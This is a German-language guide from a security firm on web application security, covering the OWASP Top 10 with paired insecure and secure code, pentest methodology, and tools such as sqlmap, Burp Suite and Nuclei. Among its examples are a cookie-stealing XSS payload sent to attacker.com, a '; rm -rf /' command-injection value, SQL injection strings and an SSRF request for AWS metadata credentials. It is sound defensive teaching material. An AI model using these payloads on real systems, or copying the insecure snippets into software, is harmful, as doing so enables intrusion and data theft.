Zum Inhalt springen

Services, Wiki-Artikel, Blog-Beiträge und Glossar-Einträge durchsuchen

↑↓NavigierenEnterÖffnenESCSchließen

Web-Applikations-Sicherheit: OWASP Top 10, Security Testing und WAF

Umfassender Guide zur Web-Applikations-Sicherheit: OWASP Top 10 (2021) mit sicheren Code-Beispielen, vollständige WSTG-Testmethodik (SQL Injection, XSS, SSRF, IDOR, Business Logic), Burp Suite Pro Workflow, Nuclei-Scanning, Security Headers, WAF-Konfiguration und Compliance-Anforderungen (PCI DSS, BSI IT-Grundschutz, ISO 27001, NIS2). Für Entwickler, Security-Teams und Auftraggeber von Web-Pentests.

Inhaltsverzeichnis (8 Abschnitte)

Web-Applikationen - Unternehmensportale, APIs, Cloud-Dienste, SaaS-Plattformen - sind das meistangegriffene Ziel in der IT-Sicherheit. Laut Verizon DBIR 2024 beginnen 39% aller Datenschutzverletzungen mit einem Webanwendungsangriff. Das OWASP-Projekt dokumentiert die zehn kritischsten Schwachstellenkategorien und ist die globale Referenz für Web-Applikations-Sicherheit. Ein professioneller Web-Pentest deckt kritische Risiken ab, produziert reproduzierbare Findings und gibt dem Entwicklungsteam konkrete Remediation-Empfehlungen.

OWASP Top 10 (2021) - Die kritischsten Schwachstellen

A01: Broken Access Control

Häufigste OWASP-Kategorie. Nutzer können auf Ressourcen zugreifen, für die sie keine Berechtigung haben.

Typische Schwachstellen:

  • IDOR (Insecure Direct Object Reference): URL /api/invoice/1234 - ändere auf /api/invoice/1235 um fremde Rechnung zu sehen
  • Fehlende Berechtigungsprüfung auf API-Endpunkten (frontend-seitige Checks sind kein Schutz)
  • Privilege Escalation: Parameter role=admin in POST-Request

Unsicher:

// GET /api/orders/:id - keine Prüfung ob Order dem User gehört
app.get('/api/orders/:id', async (req, res) => {
  const order = await db.query('SELECT * FROM orders WHERE id = ?', [req.params.id]);
  res.json(order);  // JEDER kann JEDE Order lesen!
});

Sicher:

app.get('/api/orders/:id', authenticate, async (req, res) => {
  const order = await db.query(
    'SELECT * FROM orders WHERE id = ? AND user_id = ?',
    [req.params.id, req.user.id]  // Immer Eigentumscheck!
  );
  if (!order) return res.status(403).json({ error: 'Forbidden' });
  res.json(order);
});

A02: Cryptographic Failures

Fehlende oder schwache Verschlüsselung schützt sensitive Daten nicht ausreichend.

Typische Schwachstellen:

  • Passwörter in Klartext oder MD5/SHA1-Hash (crack-bar)
  • HTTP statt HTTPS für sensitive Daten
  • Veraltete Algorithmen: DES, RC4, MD5
  • Hardcoded Encryption Keys im Quellcode

Unsicher:

# MD5 für Passwörter - in Sekunden crackbar
import hashlib
password_hash = hashlib.md5(password.encode()).hexdigest()

Sicher:

# bcrypt mit Salt - designed für Passwort-Hashing
import bcrypt
password_hash = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))
# Oder: Argon2id (OWASP empfohlen), scrypt

A03: Injection (SQL Injection, Command Injection, LDAP Injection)

Angreifer injizieren Code in Interpreter - die gefährlichste klassische Schwachstelle.

SQL Injection:

-- Angreifereingabe: admin'--
-- Resultierende Query:
SELECT * FROM users WHERE username = 'admin'--' AND password = 'egal'
-- Das "--" kommentiert die Passwortprüfung aus!

Sicher (Prepared Statements):

# Python mit SQLite - KEIN String-Concatenation
cursor.execute(
    "SELECT * FROM users WHERE username = ? AND password = ?",
    (username, password_hash)  # Daten von SQL-Code getrennt
)

Command Injection:

# Unsicher: User-Input direkt in Shell
import subprocess
filename = request.args.get('file')  # Angreifer: "file=; rm -rf /"
subprocess.run(f"cat /uploads/{filename}", shell=True)  # GEFÄHRLICH!

# Sicher: Kein shell=True, keine String-Interpolation
subprocess.run(["cat", f"/uploads/{os.path.basename(filename)}"], shell=False)

A04: Insecure Design

Sicherheitsprobleme in der Architektur selbst - nicht behebbar durch Patches.

Beispiele:

  • Kein Rate Limiting auf Login-Endpoint (Brute Force möglich)
  • “Passwort vergessen” sendet Passwort im Klartext per E-Mail
  • Multi-Tenant SaaS ohne Mandantentrennung in DB
  • Session Token im URL (Referer-Header leakt Token)

Lösung: Threat Modeling vor der Implementierung, Secure Design Reviews.

A05: Security Misconfiguration

Standard-Konfigurationen sind oft unsicher.

nginx Sicherheits-Konfiguration:

# Verberge nginx-Version
server_tokens off;

# Security Headers
add_header X-Frame-Options "DENY";
add_header X-Content-Type-Options "nosniff";
add_header Referrer-Policy "strict-origin-when-cross-origin";
add_header Content-Security-Policy "default-src 'self'";

# Nur TLS 1.2 + 1.3
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384';

A06: Vulnerable and Outdated Components

Third-Party-Libraries mit bekannten CVEs. Größter bekannter Fall: Log4Shell (CVE-2021-44228) - Remote Code Execution mit CVSS Score 10.0 durch eine einzeilige Payload im User-Agent Header.

# SCA in CI/CD (Software Composition Analysis)
npm audit --production
pip-audit
./mvnw dependency-check:check -Dfailbuild=true -DcvssScoreThreshold=7.0

A07: Identification and Authentication Failures

JWT Sicherheitsfallen:

// Unsicher: Algorithm "none" akzeptiert
const decoded = jwt.verify(token, secret, { algorithms: ['HS256', 'none'] });

// Sicher: Algorithmus explizit festlegen
const decoded = jwt.verify(token, secret, { algorithms: ['HS256'] });

A08: Software and Data Integrity Failures

# Package-Hashes prüfen (npm)
npm ci --ignore-scripts  # lockfile-basiert, kein npm install

# Subresource Integrity für CDN-Assets
<script src="https://cdn.example.com/lib.js"
        integrity="sha384-ABC123..."
        crossorigin="anonymous"></script>

A09: Security Logging and Monitoring Failures

// Sicherheitsrelevante Events immer loggen
logger.security('LOGIN_FAILURE', {
  username: sanitize(username),  // kein Passwort loggen!
  ip: req.ip,
  timestamp: new Date().toISOString(),
  userAgent: req.headers['user-agent']
});

A10: Server-Side Request Forgery (SSRF)

# Angreifer-Request:
POST /api/fetch-preview
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
#                ↑ AWS Metadata Service - gibt IAM Credentials zurück!

Schutz:

from urllib.parse import urlparse
import ipaddress

def is_safe_url(url: str) -> bool:
    parsed = urlparse(url)
    if parsed.scheme != 'https':
        return False
    try:
        ip = ipaddress.ip_address(parsed.hostname)
        if ip.is_private or ip.is_loopback or ip.is_link_local:
            return False
    except ValueError:
        pass
    ALLOWED_DOMAINS = ['api.trusted-partner.com', 'cdn.example.com']
    return any(parsed.hostname.endswith(d) for d in ALLOWED_DOMAINS)

Security Headers: Pflicht für jede Web-App

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{RANDOM}'; object-src 'none'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

CSP (Content Security Policy) ist das mächtigste Mittel gegen XSS - verhindert Ausführung von nicht-autorisierten Scripts.

WSTG-Testmethodik für Web-Pentests

WSTG-Testphasen (OWASP):

1. Information Gathering (OTG-INFO):
   Passive Reconnaissance:
   → DNS-Informationen: Subdomains, MX-Records, SPF
   → WHOIS: Registrar, Kontakte, Registrierungsdatum
   → Shodan/Censys: offene Ports, Technologie-Stack
   → crt.sh: Subdomains aus CT-Logs
   → Wayback Machine: alte API-Endpoints, versteckte Seiten
   → Google Dorking: site:target.com filetype:pdf, inurl:admin

   # Subfinder + httpx:
   subfinder -d target.com -silent | httpx -status-code -title

   # Feroxbuster (Directory Brute-Force):
   feroxbuster -u https://target.com -w wordlist.txt -x php,asp,aspx,txt,bak

2. Configuration Testing (OTG-CONFIG):
   → HTTP-Methoden: PUT, DELETE, TRACE erlaubt?
     curl -X OPTIONS https://target.com -v
   → Security-Header prüfen:
     curl -I https://target.com | grep -i "x-frame\|csp\|hsts\|x-content"
   → TLS-Konfiguration: testssl.sh target.com
   → Debug-Modus deaktiviert? /api/debug, /.env, /config.yaml
   → Backup-Dateien: /index.php.bak, /web.config.bak

3. Identity Management + Authentication (OTG-IDENT, OTG-AUTHN):
   → Username-Enumeration: gleiche Fehlermeldung bei falscher User + falsches PW?
   → Brute-Force-Schutz: nach X Versuchen Account-Lockout?
   → Default-Credentials: admin/admin, admin/password
   → MFA-Bypass: Account-Rückgewinnung ohne MFA?
   → JWT-Schwächen: alg=none, RS256→HS256, schwacher Secret

4. Session Management (OTG-SESS):
   → Session-Token-Analyse: Entropie ausreichend?
   → Session-Fixation: Session nach Login geändert?
   → Cookie-Flags: Secure, HttpOnly, SameSite=Strict?
   → Session-Timeout: nach Inaktivität ungültig?
   → Logout: Session-Token tatsächlich invalidiert?

5. Input Validation Testing (OTG-INPVAL):
   → SQL-Injection, XSS, SSRF, XXE, IDOR, Command-Injection

6. Error Handling (OTG-ERR):
   → Stack-Traces im Response?
   → HTTP 500-Responses analysieren

7. Business Logic (OTG-BUSLOGIC):
   → Mengen-Manipulation: Warenkorb mit negativer Menge
   → Schritt-Bypassing: kann Checkout ohne Adresse abgeschlossen werden?
   → Race Conditions: parallele Requests für gleichen Coupon-Code
   → Preis-Manipulation: Parameter-Tampering im Request-Body

SQL Injection Testing

SQL-Injection-Testmethodik:

Erkennung:
  id=1'        → SQL-Syntaxfehler?
  id=1 AND 1=1 → gleiches Ergebnis wie id=1?
  id=1 AND 1=2 → anderes Ergebnis (True vs. False)!

  # Error-based SQLi:
  id=1' AND EXTRACTVALUE(1,CONCAT(0x7e,@@version)) --
  → MySQL gibt Versionsnummer in Fehlermeldung aus!

  # Time-based Blind SQLi:
  id=1; SELECT SLEEP(5) --   → MySQL
  id=1; WAITFOR DELAY '0:0:5' --  → MSSQL

sqlmap Einsatz im Pentest:
  # Basis-Scan:
  sqlmap -u "https://target.com/product?id=1" --batch

  # Mit Session-Cookie:
  sqlmap -u "https://target.com/api/users" \
    --cookie="session=xyz123" \
    --data="id=1" \
    --batch --level=3 --risk=2

  # WAF-Bypass:
  sqlmap -u "..." --tamper=space2comment,charencode

XSS Testing

Cross-Site Scripting Testmethodik:

Reflected XSS:
  ?search=<script>alert(1)</script>
  → Erscheint unescaped im Response? → Reflected XSS!

  # Attribut-Kontext (value="..."):
  " onmouseover="alert(1)

  # JavaScript-Kontext (var x="..."):
  ";alert(1)//

Stored XSS:
  # Session-Hijacking Payload:
  <script>new Image().src='https://attacker.com/steal?c='+document.cookie</script>

DOM-based XSS:
  → JavaScript liest URL-Fragment (#hash) oder Parameter
  → Schreibt direkt ins DOM ohne Server-Roundtrip
  → Nicht im HTTP-Response sichtbar → Scanner-blind!

Schutz:
  → Output Encoding (kontextabhängig!):
    HTML: &amp; &lt; &gt; &quot;
    JS: \x22 \x27
    URL: encodeURIComponent()
  → Content Security Policy (CSP): verhindert Inline-Scripts
  → HttpOnly Cookies: XSS kann Session nicht stehlen

Burp Suite Pro Workflow

Professioneller Pentest-Workflow mit Burp Suite Pro:

1. Projekt einrichten:
   → Neues Burp-Projekt für jeden Client
   → Scope definieren: Target → Scope → Include
   → Automatisches Crawling: Spider + Content Discovery

2. Proxy-Intercept:
   → Alle Requests analysieren
   → Interessante Endpoints markieren (Annotate)
   → Sensible Parameter identifizieren

3. Burp Scanner (automatisch):
   → Aktiver Scan auf Scope-URLs
   → Issues nach Severity sortieren: High zuerst

4. Burp Intruder (manuell):
   # SQL-Injection in Parameter-Liste testen:
   Positionen: id=§1§
   Payloads: SQL-Payload-Wordlist
   Grep: "error", "syntax", "mysql"

5. Burp Repeater:
   → Einzelne Requests reproduzierbar modifizieren
   → PoC für jeden Finding reproduzieren

6. Collaborator:
   → Out-of-Band-Testing: SSRF, Blind XSS, Blind SQLi, XXE
   → Eindeutige Collaborator-URL pro Test

7. Wichtige Extensions:
   → Active Scan++ (verbesserte Scanner-Rules)
   → AuthMatrix (Auth-Bypass-Testing)
   → Turbo Intruder (High-Speed-Requests)
   → JWT Editor (JWT-Schwachstellen)
   → Param Miner (Hidden Parameter Discovery)

Nuclei für automatisiertes Scanning:
  nuclei -u https://target.com -t nuclei-templates/
  nuclei -u https://target.com -tags cve,sqli,xss
  nuclei -u https://target.com -severity critical,high

OWASP Top 10 Pentest-Checkliste

OWASP Top 10 2021 - Pentest-Checkliste:

A01:2021 Broken Access Control:
  □ IDOR: fremde IDs in API-Requests testen
  □ Vertikale Privilege Escalation: Admin-Endpoints mit normalem User
  □ Missing Function-Level Access Control: versteckte Buttons zugänglich?
  □ CORS-Fehlkonfiguration: Access-Control-Allow-Origin: *

A02:2021 Cryptographic Failures:
  □ HTTP statt HTTPS? HSTS aktiviert?
  □ Sensible Daten in URL (Query-Strings)? → in Server-Logs!
  □ Schwache TLS: testssl.sh → kein TLS 1.0/1.1
  □ Passwort-Hashing: bcrypt/Argon2 oder MD5/SHA1?

A03:2021 Injection:
  □ SQL-Injection in allen Datenbankabfragen
  □ Command Injection: OS-Befehle injizieren?
  □ LDAP-Injection: falls LDAP-Authentifizierung
  □ Template-Injection: SSTI in Template-Engines

A04:2021 Insecure Design:
  □ Business Logic Testing (Mengen, Preise, Schritte)
  □ Race Conditions (parallele Requests)
  □ Account Enumeration (gleiche Fehlermeldungen?)

A05:2021 Security Misconfiguration:
  □ Security-Header komplett? CSP, HSTS, X-Frame-Options...
  □ Debug-Modus in Production?
  □ Default-Credentials für Admin-Panels?

A06:2021 Vulnerable and Outdated Components:
  □ Versionsnummern aus Response-Headers + Fehlerseiten
  □ CVE-Check für erkannte Versionen

A07:2021 Identification and Authentication Failures:
  □ Brute-Force-Schutz (Rate-Limiting, CAPTCHA)
  □ Session-Token-Entropie und Gültigkeit
  □ MFA-Implementierung und Bypass-Möglichkeiten
  □ JWT-Schwächen: alg=none, exp-Prüfung, key confusion

A10:2021 Server-Side Request Forgery (SSRF):
  □ URL-Parameter → Server-Request?
  □ Webhook-URLs → SSRF möglich?
  □ Import-Funktionen (CSV-Import, Avatar-URL)?

Report-Struktur (AWARE7-Standard):

Executive Summary:
  → Gesamtrisikobewertung (Ampel: Rot/Gelb/Grün)
  → Top 3 kritische Findings in plain language
  → Empfohlene nächste Schritte (priorisiert)

Technical Findings (pro Finding):
  → Schwachstellenklasse + OWASP-Referenz
  → CVSS v3.1 Score + Vektors-String
  → Beschreibung + Ursache
  → Reproduktionsschritte (Step-by-Step)
  → Screenshot / PoC
  → Remediation-Empfehlung (konkret und umsetzbar)

Appendix:
  → Getestete URLs/Endpoints
  → Verwendete Tools und Versionen
  → Testumfang und Ausschlüsse
  → OWASP WSTG Test-ID-Referenzen

Compliance und Web-Sicherheit

PCI DSS 6.2/6.3: Schutzmechanismen gegen OWASP Top 10 für alle Cardholder-Data-Systeme.

BSI IT-Grundschutz CON.10: Entwicklung von Web-Anwendungen - explizit OWASP Top 10 als Referenz.

ISO 27001 A.8.28: Sicheres Coding - Input-Validierung, Output-Encoding, Fehlerbehandlung.

NIS2 Art. 21: Sicherheit bei der Entwicklung und Beschaffung von IKT-Systemen.

AWARE7 führt Web-Applikations-Pentests nach OWASP WSTG durch und liefert detaillierte Berichte mit CVSS-Bewertung, reproduzierbaren Proof-of-Concepts und priorisierten Handlungsempfehlungen.

Quellen & Referenzen

  1. [1] OWASP Top 10 2021 - OWASP Foundation
  2. [2] OWASP Web Security Testing Guide (WSTG) - OWASP Foundation
  3. [3] NIST SP 800-95: Guide to Secure Web Services - NIST
  4. [4] BSI ORP.2: Sicheres Webanwendungsdesign - BSI

Fragen zu diesem Thema?

Unsere Experten beraten Sie kostenlos und unverbindlich.

Erstberatung

Über den Autor

Vincent Heinen
Vincent Heinen

Abteilungsleiter Offensive Services

M.Sc. IT-Sicherheit mit über 5 Jahren Erfahrung in offensiver Sicherheitsanalyse. Leitet die Durchführung von Penetrationstests mit Spezialisierung auf Web-Applikationen, Netzwerk-Infrastruktur, Reverse Engineering und Hardware-Sicherheit. Verantwortlich für mehrere Responsible Disclosures.

OSCP+ OSCP OSWP OSWA
Dieser Artikel wurde zuletzt am 08.03.2026 bearbeitet. Verantwortlich: Vincent Heinen, Abteilungsleiter Offensive Services bei AWARE7 GmbH. Lizenz: CC BY 4.0 — freie Nutzung mit Namensnennung: „AWARE7 GmbH, https://a7.de

Cookielose Analyse via Matomo (selbst gehostet, kein Tracking-Cookie). Datenschutzerklärung